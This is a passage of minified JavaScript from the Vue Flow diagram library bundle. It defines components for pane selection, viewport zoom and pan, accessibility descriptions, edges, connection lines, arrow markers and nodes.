0:K.getBoundingClientRect())??null,!l.value||!e.isSelecting||Z.button!==0||Z.target!==B.value||!R.value)return;(ce=(Q=Z.target)==null?void 0:Q.setPointerCapture)==null||ce.call(Q,Z.pointerId);const{x:me,y:ue}=pp(Z,R.value);k=!0,p=!1,s(),a.value={width:0,height:0,startX:me,startY:ue,x:me,y:ue},i.selectionStart(Z)}function ne(Z){var K;if(!R.value||!a.value)return;p=!0;const{x:Q,y:ce}=Qe(Z,R.value),{startX:me=0,startY:ue=0}=a.value,we={startX:me,startY:ue,x:Qf.id)),L.value=new Set;const y=((K=D.value)==null?void 0:K.selectable)??!0;for(const f of G.value){const m=x.value.get(f);if(m)for(const{edgeId:I}of m.values()){const M=N.value.get(I);M&&(M.selectable??y)&&L.value.add(I)}}if(!os(le,G.value)){const f=wt(v.value,G.value,!0);i.nodesChange(f)}if(!os(ee,L.value)){const f=wt(N.value,L.value);i.edgesChange(f)}a.value=we,r.value=!0,u.value=!1}function re(Z){var K;Z.button!==0||!k||((K=Z.target)==null||K.releasePointerCapture(Z.pointerId),!r.value&&a.value&&Z.target===B.value&&z(Z),r.value=!1,a.value=null,u.value=G.value.size>0,i.selectionEnd(Z),e.selectionKeyPressed&&(p=!1),k=!1)}return(Z,K)=>(H(),W("div",{ref_key:"container",ref:B,class:Te(["vue-flow__pane vue-flow__container",{selection:Z.isSelecting}]),onClick:K[0]||(K[0]=Q=>C.value?void 0:T(z,B.value)(Q)),onContextmenu:K[1]||(K[1]=Q=>T(A,B.value)(Q)),onWheelPassive:K[2]||(K[2]=Q=>T(Y,B.value)(Q)),onPointerenter:K[3]||(K[3]=Q=>C.value?void 0:P(i).paneMouseEnter(Q)),onPointerdown:K[4]||(K[4]=Q=>C.value?q(Q):P(i).paneMouseMove(Q)),onPointermove:K[5]||(K[5]=Q=>C.value?ne(Q):P(i).paneMouseMove(Q)),onPointerup:K[6]||(K[6]=Q=>C.value?re(Q):void 0),onPointerleave:K[7]||(K[7]=Q=>P(i).paneMouseLeave(Q))},[Me(Z.$slots,"default"),P(r)&&P(a)?(H(),Ce(dp,{key:0,"user-selection-rect":P(a)},null,8,["user-selection-rect"])):ke("",!0),P(u)&&P(d).length?(H(),Ce(gp,{key:1})):ke("",!0)],34))}}),yp={name:"Transform",compatConfig:{MODE:3}},wp=ye({...yp,setup(e){const{viewport:t,fitViewOnInit:n,fitViewOnInitDone:o}=Ne(),i=ie(()=>n.value?!o.value:!1),r=ie(()=>`translate(${t.value.x}px,${t.value.y}px) scale(${t.value.zoom})`);return(s,a)=>(H(),W("div",{class:"vue-flow__transformationpane vue-flow__container",style:ae({transform:r.value,opacity:i.value?0:void 0})},[Me(s.$slots,"default")],4))}}),_p={name:"Viewport",compatConfig:{MODE:3}},bp=ye({..._p,setup(e){const{minZoom:t,maxZoom:n,defaultViewport:o,translateExtent:i,zoomActivationKeyCode:r,selectionKeyCode:s,panActivationKeyCode:a,panOnScroll:l,panOnScrollMode:u,panOnScrollSpeed:c,panOnDrag:d,zoomOnDoubleClick:h,zoomOnPinch:g,zoomOnScroll:_,preventScrolling:b,noWheelClassName:S,noPanClassName:$,emits:N,connectionStartHandle:v,userSelectionActive:x,paneDragging:D,d3Zoom:V,d3Selection:F,d3ZoomHandler:B,viewport:G,viewportRef:L,paneClickDistance:R}=Ne();up(L);const C=Et(!1),X=Et(!1);let p=null,k=!1,w=0,O={x:0,y:0,zoom:0};const T=wn(a),z=wn(s),A=wn(r),Y=_e(()=>(!z.value||z.value&&s.value===!0)&&(T.value||d.value)),q=_e(()=>T.value||l.value),ne=_e(()=>s.value===!0&&Y.value!==!0),re=_e(()=>z.value&&s.value!==!0||x.value||ne.value),Z=_e(()=>v.value!==null);it(()=>{if(!L.value){zn("Viewport element is missing");return}const ue=L.value,we=ue.getBoundingClientRect(),le=zh().clickDistance(R.value).scaleExtent([t.value,n.value]).translateExtent(i.value),ee=Ge(ue).call(le),y=ee.on("wheel.zoom"),f=Jt.translate(o.value.x??0,o.value.y??0).scale(Rt(o.value.zoom??1,t.value,n.value)),m=[[0,0],[we.width,we.height]],I=le.constrain()(f,m,i.value);le.transform(ee,I),le.wheelDelta(Oi),V.value=le,F.value=ee,B.value=y,G.value={x:I.x,y:I.y,zoom:I.k},le.on("start",M=>{var U;if(!M.sourceEvent)return null;w=M.sourceEvent.button,C.value=!0;const j=ce(M.transform);((U=M.sourceEvent)==null?void 0:U.type)==="mousedown"&&(D.value=!0),O=j,N.viewportChangeStart(j),N.moveStart({event:M,flowTransform:j})}),le.on("end",M=>{if(!M.sourceEvent)return null;if(C.value=!1,D.value=!1,K(Y.value,w??0)&&!k&&N.paneContextMenu(M.sourceEvent),k=!1,Q(O,M.transform)){const U=ce(M.transform);O=U,N.viewportChangeEnd(U),N.moveEnd({event:M,flowTransform:U})}}),le.filter(M=>{var U;const j=A.value||_.value,oe=g.value&&M.ctrlKey,se=M.button,de=M.type==="wheel";if(se===1&&M.type==="mousedown"&&(me(M,"vue-flow__node")||me(M,"vue-flow__edge")))return!0;if(!Y.value&&!j&&!q.value&&!h.value&&!g.value||x.value||Z.value&&!de||!h.value&&M.type==="dblclick"||me(M,S.value)&&de||me(M,$.value)&&(!de||q.value&&de&&!A.value)||!g.value&&M.ctrlKey&&de||!j&&!q.value&&!oe&&de)return!1;if(!g&&M.type==="touchstart"&&((U=M.touches)==null?void 0:U.length)>1)return M.preventDefault(),!1;if(!Y.value&&(M.type==="mousedown"||M.type==="touchstart")||ne.value&&Array.isArray(d.value)&&d.value.includes(0)&&se===0||Array.isArray(d.value)&&!d.value.includes(se)&&(M.type==="mousedown"||M.type==="touchstart"))return!1;const he=Array.isArray(d.value)&&d.value.includes(se)||s.value===!0&&Array.isArray(d.value)&&!d.value.includes(0)||!se||se<=1;return(!M.ctrlKey||T.value||de)&&he}),Ee([x,Y],()=>{x.value&&!C.value?le.on("zoom",null):x.value||le.on("zoom",M=>{G.value={x:M.transform.x,y:M.transform.y,zoom:M.transform.k};const U=ce(M.transform);k=K(Y.value,w??0),N.viewportChange(U),N.move({event:M,flowTransform:U})})},{immediate:!0}),Ee([x,q,u,A,g,b,S],()=>{q.value&&!A.value&&!x.value?ee.on("wheel.zoom",M=>{if(me(M,S.value))return!1;const U=A.value||_.value,j=g.value&&M.ctrlKey;if(!(!b.value||q.value||U||j))return!1;M.preventDefault(),M.stopImmediatePropagation();const se=ee.property("__zoom").k||1,de=Cn();if(!T.value&&M.ctrlKey&&g.value&&de){const fu=Ke(M),hu=Oi(M),gu=se*2**hu;le.scaleTo(ee,gu,fu,M);return}const he=M.deltaMode===1?20:1;let be=u.value===yn.Vertical?0:M.deltaX*he,pt=u.value===yn.Horizontal?0:M.deltaY*he;!de&&M.shiftKey&&u.value!==yn.Vertical&&!be&&pt&&(be=pt,pt=0),le.translateBy(ee,-(be/se)*c.value,-(pt/se)*c.value);const qe=ce(ee.property("__zoom"));p&&clearTimeout(p),X.value?(N.move({event:M,flowTransform:qe}),N.viewportChange(qe),p=setTimeout(()=>{N.moveEnd({event:M,flowTransform:qe}),N.viewportChangeEnd(qe),X.value=!1},150)):(X.value=!0,N.moveStart({event:M,flowTransform:qe}),N.viewportChangeStart(qe))},{passive:!1}):typeof y<"u"&&ee.on("wheel.zoom",function(M,U){const j=!b.value&&M.type==="wheel"&&!M.ctrlKey,oe=A.value||_.value,se=g.value&&M.ctrlKey;if(!oe&&!l.value&&!se&&M.type==="wheel"||j||me(M,S.value))return null;M.preventDefault(),y.call(this,M,U)},{passive:!1})},{immediate:!0})});function K(ue,we){return we===2&&Array.isArray(ue)&&ue.includes(2)}function Q(ue,we){return ue.x!==we.x&&!Number.isNaN(we.x)||ue.y!==we.y&&!Number.isNaN(we.y)||ue.zoom!==we.k&&!Number.isNaN(we.k)}function ce(ue){return{x:ue.x,y:ue.y,zoom:ue.k}}function me(ue,we){return ue.target.closest(`.${we}`)}return(ue,we)=>(H(),W("div",{ref_key:"viewportRef",ref:L,class:"vue-flow__viewport vue-flow__container"},[xe(mp,{"is-selecting":re.value,"selection-key-pressed":P(z),class:Te({connecting:Z.value,dragging:P(D),draggable:P(d)===!0||Array.isArray(P(d))&&P(d).includes(0)})},{default:ze(()=>[xe(wp,null,{default:ze(()=>[Me(ue.$slots,"default")]),_:3})]),_:3},8,["is-selecting","selection-key-pressed","class"])],512))}}),Ep=["id"],xp=["id"],$p=["id"],kp={name:"A11yDescriptions",compatConfig:{MODE:3}},Np=ye({...kp,setup(e){const{id:t,disableKeyboardA11y:n,ariaLiveMessage:o}=Ne();return(i,r)=>(H(),W(Se,null,[E("div",{id:`${P(Ra)}-${P(t)}`,style:{display:"none"}}," Press enter or space to select a node. "+ve(P(n)?"":"You can then use the arrow keys to move the node around.")+" You can then use the arrow keys to move the node around, press delete to remove it and press escape to cancel. ",9,Ep),E("div",{id:`${P(Ba)}-${P(t)}`,style:{display:"none"}}," Press enter or space to select an edge. You can then press delete to remove it or press escape to cancel. ",8,xp),P(n)?ke("",!0):(H(),W("div",{key:0,id:`${P(Fh)}-${P(t)}`,"aria-live":"assertive","aria-atomic":"true",style:{position:"absolute",width:"1px",height:"1px",margin:"-1px",border:"0",padding:"0",overflow:"hidden",clip:"rect(0px, 0px, 0px, 0px)","clip-path":"inset(100%)"}},ve(P(o)),9,$p))],64))}});function Sp(){const e=Ne();Ee(()=>e.viewportHelper.value.viewportInitialized,t=>{t&&setTimeout(()=>{e.emits.init(e),e.emits.paneReady(e)},1)})}function Cp(e,t,n){return n===J.Left?e-t:n===J.Right?e+t:e}function Mp(e,t,n){return n===J.Top?e-t:n===J.Bottom?e+t:e}const lr=function({radius:e=10,centerX:t=0,centerY:n=0,position:o=J.Top,type:i}){return $e("circle",{class:`vue-flow__edgeupdater vue-flow__edgeupdater-${i}`,cx:Cp(t,e,o),cy:Mp(n,e,o),r:e,stroke:"transparent",fill:"transparent"})};lr.props=["radius","centerX","centerY","position","type"];lr.compatConfig={MODE:3};const us=lr,Ip=ye({name:"Edge",compatConfig:{MODE:3},props:["id"],setup(e){const{id:t,addSelectedEdges:n,connectionMode:o,edgeUpdaterRadius:i,emits:r,nodesSelectionActive:s,noPanClassName:a,getEdgeTypes:l,removeSelectedEdges:u,findEdge:c,findNode:d,isValidConnection:h,multiSelectionActive:g,disableKeyboardA11y:_,elementsSelectable:b,edgesUpdatable:S,edgesFocusable:$,hooks:N}=Ne(),v=ie(()=>c(e.id)),{emit:x,on:D}=_g(v.value,r),V=Ht(Lo),F=on(),B=pe(!1),G=pe(!1),L=pe(""),R=pe(null),C=pe("source"),X=pe(null),p=_e(()=>typeof v.value.selectable>"u"?b.value:v.value.selectable),k=_e(()=>typeof v.value.updatable>"u"?S.value:v.value.updatable),w=_e(()=>typeof v.value.focusable>"u"?$.value:v.value.focusable);Dt(mg,e.id),Dt(yg,X);const O=ie(()=>v.value.class instanceof Function?v.value.class(v.value):v.value.class),T=ie(()=>v.value.style instanceof Function?v.value.style(v.value):v.value.style),z=ie(()=>{const f=v.value.type||"default",m=V==null?void 0:V[`edge-${f}`];if(m)return m;let I=v.value.template??l.value[f];if(typeof I=="string"&&F){const M=Object.keys(F.appContext.components);M&&M.includes(f)&&(I=ra(f,!1))}return I&&typeof I!="string"?I:(r.error(new Ae(Oe.EDGE_TYPE_MISSING,I)),!1)}),{handlePointerDown:A}=nl({nodeId:L,handleId:R,type:C,isValidConnection:h,edgeUpdaterType:C,onEdgeUpdate:ne,onEdgeUpdateEnd:re});return()=>{const f=d(v.value.source),m=d(v.value.target),I="pathOptions"in v.value?v.value.pathOptions:{};if(!f&&!m)return r.error(new Ae(Oe.EDGE_SOURCE_TARGET_MISSING,v.value.id,v.value.source,v.value.target)),null;if(!f)return r.error(new Ae(Oe.EDGE_SOURCE_MISSING,v.value.id,v.value.source)),null;if(!m)return r.error(new Ae(Oe.EDGE_TARGET_MISSING,v.value.id,v.value.target)),null;if(!v.value||v.value.hidden||f.hidden||m.hidden)return null;let M;o.value===xt.Strict?M=f.handleBounds.source:M=[...f.handleBounds.source||[],...f.handleBounds.target||[]];const U=Kr(M,v.value.sourceHandle);let j;o.value===xt.Strict?j=m.handleBounds.target:j=[...m.handleBounds.target||[],...m.handleBounds.source||[]];const oe=Kr(j,v.value.targetHandle),se=(U==null?void 0:U.position)||J.Bottom,de=(oe==null?void 0:oe.position)||J.Top,{x:he,y:be}=Qt(f,U,se),{x:pt,y:qe}=Qt(m,oe,de);return v.value.sourceX=he,v.value.sourceY=be,v.value.targetX=pt,v.value.targetY=qe,$e("g",{ref:X,key:e.id,"data-id":e.id,class:["vue-flow__edge",`vue-flow__edge-${z.value===!1?"default":v.value.type||"default"}`,a.value,O.value,{updating:B.value,selected:v.value.selected,animated:v.value.animated,inactive:!p.value&&!N.value.edgeClick.hasListeners()}],tabIndex:w.value?0:void 0,"aria-label":v.value.ariaLabel===null?void 0:v.value.ariaLabel??`Edge from ${v.value.source} to ${v.value.target}`,"aria-describedby":w.value?`${Ba}-${t}`:void 0,"aria-roledescription":"edge",role:w.value?"group":"img",...v.value.domAttributes,onClick:K,onContextmenu:Q,onDblclick:ce,onMouseenter:me,onMousemove:ue,onMouseleave:we,onKeyDown:w.value?y:void 0},[G.value?null:$e(z.value===!1?l.value.default:z.value,{id:e.id,sourceNode:f,targetNode:m,source:v.value.source,target:v.value.target,type:v.value.type,updatable:k.value,selected:v.value.selected,animated:v.value.animated,label:v.value.label,labelStyle:v.value.labelStyle,labelShowBg:v.value.labelShowBg,labelBgStyle:v.value.labelBgStyle,labelBgPadding:v.value.labelBgPadding,labelBgBorderRadius:v.value.labelBgBorderRadius,data:v.value.data,events:{...v.value.events,...D},style:T.value,markerStart:`url('#${Sn(v.value.markerStart,t)}')`,markerEnd:`url('#${Sn(v.value.markerEnd,t)}')`,sourcePosition:se,targetPosition:de,sourceX:he,sourceY:be,targetX:pt,targetY:qe,sourceHandleId:v.value.sourceHandle,targetHandleId:v.value.targetHandle,interactionWidth:v.value.interactionWidth,...I}),[k.value==="source"||k.value===!0?[$e("g",{onMousedown:le,onMouseenter:Y,onMouseout:q},$e(us,{position:se,centerX:he,centerY:be,radius:i.value,type:"source","data-type":"source"}))]:null,k.value==="target"||k.value===!0?[$e("g",{onMousedown:ee,onMouseenter:Y,onMouseout:q},$e(us,{position:de,centerX:pt,centerY:qe,radius:i.value,type:"target","data-type":"target"}))]:null]])};function Y(){B.value=!0}function q(){B.value=!1}function ne(f,m){x.update({event:f,edge:v.value,connection:m})}function re(f){x.updateEnd({event:f,edge:v.value}),G.value=!1}function Z(f,m){f.button===0&&(G.value=!0,L.value=m?v.value.target:v.value.source,R.value=(m?v.value.targetHandle:v.value.sourceHandle)??null,C.value=m?"target":"source",x.updateStart({event:f,edge:v.value}),A(f))}function K(f){var m;const I={event:f,edge:v.value};p.value&&(s.value=!1,v.value.selected&&g.value?(u([v.value]),(m=X.value)==null||m.blur()):n([v.value])),x.click(I)}function Q(f){x.contextMenu({event:f,edge:v.value})}function ce(f){x.doubleClick({event:f,edge:v.value})}function me(f){x.mouseEnter({event:f,edge:v.value})}function ue(f){x.mouseMove({event:f,edge:v.value})}function we(f){x.mouseLeave({event:f,edge:v.value})}function le(f){Z(f,!0)}function ee(f){Z(f,!1)}function y(f){var m;!_.value&&Va.includes(f.key)&&p.value&&(f.key==="Escape"?((m=X.value)==null||m.blur(),u([c(e.id)])):n([c(e.id)]))}}}),Tp=Ip,Op=ye({name:"ConnectionLine",compatConfig:{MODE:3},setup(){var e;const{id:t,connectionMode:n,connectionStartHandle:o,connectionEndHandle:i,connectionPosition:r,connectionLineType:s,connectionLineStyle:a,connectionLineOptions:l,connectionStatus:u,viewport:c,findNode:d}=Ne(),h=(e=Ht(Lo))==null?void 0:e["connection-line"],g=ie(()=>{var N;return d((N=o.value)==null?void 0:N.nodeId)}),_=ie(()=>{var N;return d((N=i.value)==null?void 0:N.nodeId)??null}),b=ie(()=>({x:(r.value.x-c.value.x)/c.value.zoom,y:(r.value.y-c.value.y)/c.value.zoom})),S=ie(()=>l.value.markerStart?`url(#${Sn(l.value.markerStart,t)})`:""),$=ie(()=>l.value.markerEnd?`url(#${Sn(l.value.markerEnd,t)})`:"");return()=>{var N,v,x;if(!g.value||!o.value)return null;const D=o.value.id,V=o.value.type,F=g.value.handleBounds;let B=(F==null?void 0:F[V])??[];if(n.value===xt.Loose){const T=(F==null?void 0:F[V==="source"?"target":"source"])??[];B=[...B,...T]}if(!B)return null;const G=(D?B.find(T=>T.id===D):B[0])??null,L=(G==null?void 0:G.position)??J.Top,{x:R,y:C}=Qt(g.value,G,L);let X=null;_.value&&(n.value===xt.Strict?X=((N=_.value.handleBounds[V==="source"?"target":"source"])==null?void 0:N.find(T=>{var z;return T.id===((z=i.value)==null?void 0:z.id)}))||null:X=((v=[..._.value.handleBounds.source??[],..._.value.handleBounds.target??[]])==null?void 0:v.find(T=>{var z;return T.id===((z=i.value)==null?void 0:z.id)}))||null);const p=((x=i.value)==null?void 0:x.position)??(L?Ai[L]:null);if(!L||!p)return null;const k=s.value??l.value.type??Nt.Bezier;let w="";const O={sourceX:R,sourceY:C,sourcePosition:L,targetX:b.value.x,targetY:b.value.y,targetPosition:p};return k===Nt.Bezier?[w]=ll(O):k===Nt.Step?[w]=Pi({...O,borderRadius:0}):k===Nt.SmoothStep?[w]=Pi(O):k===Nt.SimpleBezier?[w]=ul(O):w=`M${R},${C} ${b.value.x},${b.value.y}`,$e("svg",{class:"vue-flow__edges vue-flow__connectionline vue-flow__container"},$e("g",{class:"vue-flow__connection"},h?$e(h,{sourceX:R,sourceY:C,sourcePosition:L,targetX:b.value.x,targetY:b.value.y,targetPosition:p,sourceNode:g.value,sourceHandle:G,targetNode:_.value,targetHandle:X,markerEnd:$.value,markerStart:S.value,connectionStatus:u.value}):$e("path",{d:w,class:[l.value.class,u.value,"vue-flow__connection-path"],style:{...a.value,...l.value.style},"marker-end":$.value,"marker-start":S.value})))}}}),Ap=Op,Dp=["id","markerWidth","markerHeight","markerUnits","orient"],Pp={name:"MarkerType",compatConfig:{MODE:3}},zp=ye({...Pp,props:{id:{},type:{},color:{default:"none"},width:{default:12.5},height:{default:12.5},markerUnits:{default:"strokeWidth"},orient:{default:"auto-start-reverse"},strokeWidth:{default:1}},setup(e){return(t,n)=>(H(),W("marker",{id:t.id,class:"vue-flow__arrowhead",viewBox:"-10 -10 20 20",refX:"0",refY:"0",markerWidth:`${t.width}`,markerHeight:`${t.height}`,markerUnits:t.markerUnits,orient:t.orient},[t.type===P(Ut).ArrowClosed?(H(),W("polyline",{key:0,style:ae({stroke:t.color,fill:t.color,strokeWidth:t.strokeWidth}),"stroke-linecap":"round","stroke-linejoin":"round",points:"-5,-4 0,0 -5,4 -5,-4"},null,4)):ke("",!0),t.type===P(Ut).Arrow?(H(),W("polyline",{key:1,style:ae({stroke:t.color,strokeWidth:t.strokeWidth}),"stroke-linecap":"round","stroke-linejoin":"round",fill:"none",points:"-5,-4 0,0 -5,4"},null,4)):ke("",!0)],8,Dp))}}),Rp={class:"vue-flow__marker vue-flow__container","aria-hidden":"true"},Bp={name:"MarkerDefinitions",compatConfig:{MODE:3}},Vp=ye({...Bp,setup(e){const{id:t,edges:n,connectionLineOptions:o,defaultMarkerColor:i}=Ne(),r=ie(()=>{const s=new Set,a=[],l=u=>{if(u){const c=Sn(u,t);s.has(c)||(typeof u=="object"?a.push({...u,id:c,color:u.color||i.value}):a.push({id:c,color:i.value,type:u}),s.add(c))}};for(const u of[o.value.markerEnd,o.value.markerStart])l(u);for(const u of n.value)for(const c of[u.markerStart,u.markerEnd])l(c);return a.sort((u,c)=>u.id.localeCompare(c.id))});return(s,a)=>(H(),W("svg",Rp,[E("defs",null,[(H(!0),W(Se,null,ot(r.value,l=>(H(),Ce(zp,{id:l.id,key:l.id,type:l.type,color:l.color,width:l.width,height:l.height,markerUnits:l.markerUnits,"stroke-width":l.strokeWidth,orient:l.orient},null,8,["id","type","color","width","height","markerUnits","stroke-width","orient"]))),128))])]))}}),Hp={name:"Edges",compatConfig:{MODE:3}},Lp=ye({...Hp,setup(e){const{findNode:t,getEdges:n,elevateEdgesOnSelect:o}=Ne();return(i,r)=>(H(),W(Se,null,[xe(Vp),(H(!0),W(Se,null,ot(P(n),s=>(H(),W("svg",{key:s.id,class:"vue-flow__edges vue-flow__container",style:ae({zIndex:P(rg)(s,P(t),P(o))})},[xe(P(Tp),{id:s.id},null,8,["id"])],4))),128)),xe(P(Ap))],64))}}),Fp=ye({name:"Node",compatConfig:{MODE:3},props:["id","resizeObserver"],setup(e){const{id:t,noPanClassName:n,selectNodesOnDrag:o,nodesSelectionActive:i,multiSelectionActive:r,emits:s,removeSelectedNodes:a,addSelectedNodes:l,updateNodeDimensions:u,onUpdateNodeInternals:c,getNodeTypes:d,nodeExtent:h,elevateNodesOnSelect:g,disableKeyboardA11y:_,ariaLiveMessage:b,snapToGrid:S,snapGrid:$,nodeDragThreshold:N,nodesDraggable:v,elementsSelectable:x,nodesConnectable:D,nodesFocusable:V,hooks:F}=Ne(),B=pe(null);Dt(el,B),Dt(Qa,e.id);const G=Ht(Lo),L=on(),R=il(),{node:C,parentNode:X}=ol(e.id),{emit:p,on:k}=$g(C,s),w=_e(()=>typeof C.draggable>"u"?v.value:C.draggable),O=_e(()=>typeof C.selectable>"u"?x.value:C.selectable),T=_e(()=>typeof C.connectable>"u"?D.value:C.connectable),z=_e(()=>typeof C.focusable>"u"?V.value:C.focusable),A=ie(()=>O.value||w.value||F.value.nodeClick.hasListeners()||F.value.nodeDoubleClick.hasListeners()||F.value.nodeMouseEnter.hasListeners()||F.value.nodeMouseMove.hasListeners()||F.value.nodeMouseLeave.hasListeners()),Y=_e(()=>!!C.dimensions.width&&!!C.dimensions.height),q=ie(()=>{const m=C.type||"default",I=G==null?void 0:G[`node-${m}`];if(I)return I;let M=C.template||d.value[m];if(typeof M=="string"&&L){const U=Object.keys(L.appContext.components);U&&U.includes(m)&&(M=ra(m,!1))}return M&&typeof M!="string"?M:(s.error(new Ae(Oe.NODE_TYPE_MISSING,M)),!1)}),ne=tl({id:e.id,el:B,disabled:()=>!w.value,selectable:O,dragHandle:()=>C.dragHandle,onStart(m){p.dragStart(m)},onDrag(m){p.drag(m)},onStop(m){p.dragStop(m)},onClick(m){y(m)}}),re=ie(()=>C.class instanceof Function?C.class(C):C.class),Z=ie(()=>{const m=(C.style instanceof Function?C.style(C):C.style)||{},I=C.width instanceof Function?C.width(C):C.width,M=C.height instanceof Function?C.height(C):C.height;return!m.width&&I&&(m.width=typeof I=="string"?I:`${I}px`),!m.height&&M&&(m.height=typeof M=="string"?M:`${M}px`),m}),K=_e(()=>Number(C.zIndex??Z.value.zIndex??0));return c(m=>{(m.includes(e.id)||!m.length)&&ce()}),it(()=>{Ee(()=>C.hidden,(m=!1,I,M)=>{!m&&B.value&&(e.resizeObserver.observe(B.value),M(()=>{B.value&&e.resizeObserver.unobserve(B.value)}))},{immediate:!0,flush:"post"})}),Ee([()=>C.type,()=>C.sourcePosition,()=>C.targetPosition],()=>{Ye(()=>{u([{id:e.id,nodeElement:B.value,forceUpdate:!0}])})}),Ee([()=>C.position.x,()=>C.position.y,()=>{var m;return(m=X.value)==null?void 0:m.computedPosition.x},()=>{var m;return(m=X.value)==null?void 0:m.computedPosition.y},()=>{var m;return(m=X.value)==null?void 0:m.computedPosition.z},K,()=>C.selected,()=>C.dimensions.height,()=>C.dimensions.width,()=>{var m;return(m=X.value)==null?void 0:m.dimensions.height},()=>{var m;return(m=X.value)==null?void 0:m.dimensions.width}],([m,I,M,U,j,oe])=>{const se={x:m,y:I,z:oe+(g.value&&C.selected?1e3:0)};typeof M<"u"&&typeof U<"u"?C.computedPosition=Kh({x:M,y:U,z:j},se):C.computedPosition=se},{flush:"post",immediate:!0}),Ee([()=>C.extent,h],([m,I],[M,U])=>{(m!==M||I!==U)&&Q()}),C.extent==="parent"||typeof C.extent=="object"&&"range"in C.extent&&C.extent.range==="parent"?Ei(()=>Y).toBe(!0).then(Q):Q(),()=>C.hidden?null:$e("div",{ref:B,"data-id":C.id,class:["vue-flow__node",`vue-flow__node-${q.value===!1?"default":C.type||"default"}`,{[n.value]:w.value,dragging:ne==null?void 0:ne.value,draggable:w.value,selected:C.selected,selectable:O.value,parent:C.isParent},re.value],style:{visibility:Y.value?"visible":"hidden",zIndex:C.computedPosition.z??K.value,transform:`translate(${C.computedPosition.x}px,${C.computedPosition.y}px)`,pointerEvents:A.value?"all":"none",...Z.value},tabIndex:z.value?0:void 0,role:z.value?"group":void 0,"aria-describedby":_.value?void 0:`${Ra}-${t}`,"aria-label":C.ariaLabel,"aria-roledescription":"node",...C.domAttributes,onMouseenter:me,onMousemove:ue,onMouseleave:we,onContextmenu:le,onClick:y,onDblclick:ee,onKeydown:f},[$e(q.value===!1?d.value.default:q.value,{id:C.id,type:C.type,data:C.data,events:{...C.events,...k},selected:C.selected,resizing:C.resizing,dragging:ne.value,connectable:T.value,position:C.computedPosition,dimensions:C.dimensions,isValidTargetPos:C.isValidTargetPos,isValidSourcePos:C.isValidSourcePos,parent:C.parentNode,parentNodeId:C.parentNode,zIndex:C.computedPosition.z??K.value,targetPosition:C.targetPosition,sourcePosition:C.sourcePosition,label:C.label,dragHandle:C.dragHandle,onUpdateNodeInternals:ce})]);function Q(){const m=C.computedPosition,{computedPosition:I,position:M}=sr(C,S.value?Ho(m,$.value):m,s.error,h.value,X.value);(C.computedPosition.x!==I.x||C.computedPosition.y!==I.y)&&(C.computedPosition={...C.computedPosition,...I}),(C.position.x!==M.x||C.position.y!==M.y)&&(C.position=M)}function ce(){B.value&&u([{id:e.id,nodeElement:B.value,forceUpdate:!0}])}function me(m){ne!=null&&ne.value||p.mouseEnter({event:m,node:C})}function ue(m){ne!=null&&ne.value||p.mouseMove({event:m,node:C})}function we(m){ne!=null&&ne.value||p.mouseLeave({event:m,node:C})}function le(m){return p.contextMenu({event:m,node:C})}function ee(m){return p.doubleClick({event:m,node:C})}function y(m){O.value&&(!o.value||!w.value||N.value>0)&&Di(C,r.value,l,a,i,!1,B.value),p.click({event:m,node:C})}function f(m){if(!(Ti(m)||_.value))if(Va.includes(m.key)&&O.value){const I=m.key==="Escape";Di(C,r.value,l,a,i,I,B.value)}else w.value&&C.selected&&jt[m.key]&&(m.preventDefault(),b.value=`Moved selected node ${m.key.replace("Arrow","").toLowerCase()}. New position, x: ${~~C.position.x}, y: ${~~C.position.y}`,R({x:jt[m.key].x,y:jt[m.key].y},m.shiftKey))}}}),Yp=Fp;function Gp(e={includeHiddenNodes:!1}){const{nodes:t}=Ne();return ie(()=>{if(t.value.length===0)return!1;for(const n of t.value)if((e.includeHiddenNodes||!n.hidden)&&((n==null?void 0:n.handleBounds)===void 0||n.dimensions.width===0||n.dimensions.height===0))return!1;return!0})}const Xp={class:"vue-flow__nodes vue-flow__container"},Wp={name:"Nodes",compatConfig:{MODE:3}},Up=ye({...Wp,setup(e){const{getNodes:t,updateNodeDimensions:n,emits:o}=Ne(),i=Gp(),r=pe();return Ee(i,s=>{s&&Ye(()=>{o.nodesInitialized(t.value)})},{immediate:!0}),it(()=>{r.value=new ResizeObserver(s=>{const a=s.map(l=>({id:l.target.getAttribute("data-id"),nodeElement:l.target,forceUpdate:!0}));Ye(()=>n(a))})}),ji(()=>{var s;return(s=r.value)==null?void 0:s.disconnect()}),(s,a)=>(H(),W("div",Xp,[r.value?(H(!0),W(Se,{key:0},ot(P(t),(l,u,c,d)=>{const h=[l.id];if(d&&d.key===l.id&&yu(d,h))return d;const g=(H(),Ce(P(Yp),{id:l.id,key:l.id,"resize-observer":r.value},null,8,["id","resize-observer"]));return g.memo=h,g},a,0),128)):ke("",!0)]))}});function jp(){const{emits:e}=Ne();it(()=>{if(Ja()){const t=document.querySelector(".vue-flow__pane");t&&window.getComputedStyle(t).zIndex!=="1"&&e.error(new Ae(Oe.MISSING_STYLES))}})}const Zp=E("div",{class:"vue-flow__edge-labels"},null,-1),qp={name:"VueFlow",compatConfig:{MODE:3}},Kp=ye({...qp,props:{id:{},modelValue:{},nodes:{},edges:{},edgeTypes:{},nodeTypes:{},connectionMode:{},connectionLineType:{},connectionLineStyle:{default:void 0},connectionLineOptions:{default:void 0},connectionRadius:{},isValidConnection:{type:[Function,null],default:void 0},deleteKeyCode:{default:void 0},selectionKeyCode:{type:[Boolean,null],default:void 0},multiSelectionKeyCode:{default:void 0},zoomActivationKeyCode:{default:void 0},panActivationKeyCode:{default:void 0},snapToGrid:{type:Boolean,default:void 0},snapGrid:{},onlyRenderVisibleElements:{type:Boolean,default:void 0},edgesUpdatable:{type:[Boolean,String],default:void 0},nodesDraggable:{type:Boolean,default:void 0},nodesConnectable:{type:Boolean,default:void 0},nodeDragThreshold:{},elementsSelectable:{type:Boolean,default:void 0},selectNodesOnDrag:{type:Boolean,default:void 0},panOnDrag:{type:[Boolean,Array],default:void 0},minZoom:{},maxZoom:{},defaultViewport:{},translateExtent:{},nodeExtent:{},defaultMarkerColor:{},zoomOnScroll:{type:Boolean,default:void 0},zoomOnPinch:{type:Boolean,default:void 0},panOnScroll:{type:Boolean,default:void 0},panOnScrollSpeed:{},panOnScrollMode:{},paneClickDistance:{},zoomOnDoubleClick:{type:Boolean,default:void 0},preventScrolling:{type:Boolean,default:void 0},selectionMode:{},edgeUpdaterRadius:{},fitViewOnInit:{type:Boolean,default:void 0},connectOnClick:{type:Boolean,default:void 0},applyDefault:{type:Boolean,default:void 0},autoConnect:{type:[Boolean,Function],default:void 0},noDragClassName:{},noWheelClassName:{},noPanClassName:{},defaultEdgeOptions:{},elevateEdgesOnSelect:{type:Boolean,default:void 